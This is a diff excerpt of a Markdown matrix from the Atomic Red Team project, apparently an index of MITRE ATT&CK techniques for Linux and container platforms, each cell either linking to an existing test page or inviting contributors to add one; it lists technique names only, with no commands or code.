+| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Clear Command History](../../T1070.003/T1070.003.md) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Linux or Mac System Logs](../../T1070.002/T1070.002.md) | [Container API](../../T1552.007/T1552.007.md) | Cloud Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Audio Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | [Credential Stuffing](../../T1110.004/T1110.004.md) | Cloud Storage Object Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Extensions](../../T1176/T1176.md) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Compile After Delivery](../../T1027.004/T1027.004.md) | [Credentials In Files](../../T1552.001/T1552.001.md) | Container and Resource Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Clipboard Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Account](../../T1136.003/T1136.003.md) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Credentials from Password Stores [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Code Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Snapshot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Confluence [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Delete Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [File and Directory Discovery](../../T1083/T1083.md) | Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Device CLI [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Escape to Host](../../T1611/T1611.md) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | GUI Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Data from Configuration Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Encrypted Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Python](../../T1059.006/T1059.006.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Account](../../T1087.001/T1087.001.md) |  | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Inhibit System Recovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable Cloud Logs](../../T1562.008/T1562.008.md) | [Keylogging](../../T1056.001/T1056.001.md) | [Local Groups](../../T1069.001/T1069.001.md) |  | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Traffic Duplication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disable Crypto Hardware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Service Scanning](../../T1046/T1046.md) |  | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | Disable or Modify Cloud Firewall [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Share Discovery](../../T1135/T1135.md) |  | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | Source [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify System Firewall](../../T1562.004/T1562.004.md) | [Network Sniffing](../../T1040/T1040.md) | [Network Sniffing](../../T1040/T1040.md) |  | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | [Systemd Timers](../../T1053.006/T1053.006.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Proc Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | OS Credential Dumping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Policy Discovery](../../T1201/T1201.md) |  | Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
+|  | [Unix Shell](../../T1059.004/T1059.004.md) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | GUI Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Ptrace System Calls [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Guessing](../../T1110.001/T1110.001.md) | [Process Discovery](../../T1057/T1057.md) |  | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | Visual Basic [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [RC Scripts](../../T1037.004/T1037.004.md) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Remote System Discovery](../../T1018/T1018.md) |  | [Keylogging](../../T1056.001/T1056.001.md) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Stop [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Spraying](../../T1110.003/T1110.003.md) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  |  | Implant Internal Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | Downgrade System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | Software Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
+|  |  | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | [Private Keys](../../T1552.004/T1552.004.md) | [System Checks](../../T1497.001/T1497.001.md) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Non-Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  |  | [Local Account](../../T1136.001/T1136.001.md) | [Systemd Service](../../T1543.002/T1543.002.md) | Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Proc Filesystem](../../T1003.007/T1003.007.md) | [System Information Discovery](../../T1082/T1082.md) |  | Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Systemd Timers](../../T1053.006/T1053.006.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [SAML Tokens](../../T1606.002/T1606.002.md) | System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | SNMP (MIB Dump) [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Standard Port](../../T1571/T1571.md) |  |
+|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Trap](../../T1546.005/T1546.005.md) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Screen Capture](../../T1113/T1113.md) |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Configuration Discovery](../../T1016/T1016.md) |  | Sharepoint [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Office Application Startup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | VDSO Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [File Deletion](../../T1070.004/T1070.004.md) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Connections Discovery](../../T1049/T1049.md) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Office Template Macros [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Owner/User Discovery](../../T1033/T1033.md) |  |  |  | Protocol Tunneling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Office Test [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Outlook Forms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Outlook Home Page [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Hidden Files and Directories](../../T1564.001/T1564.001.md) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
+|  |  | Outlook Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Hide Artifacts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Impair Command History Logging](../../T1562.003/T1562.003.md) |  |  |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
+|  |  | [RC Scripts](../../T1037.004/T1037.004.md) |  | [Indicator Blocking](../../T1562.006/T1562.006.md) |  |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  |  | ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Indicator Removal on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  |  |  |
+|  |  | [SSH Authorized Keys](../../T1098.004/T1098.004.md) |  | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) |  |  |  |  |  |  |  |
+|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Masquerade Task or Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Systemd Service](../../T1543.002/T1543.002.md) |  | Masquerading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Systemd Timers](../../T1053.006/T1053.006.md) |  | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  |  |  |
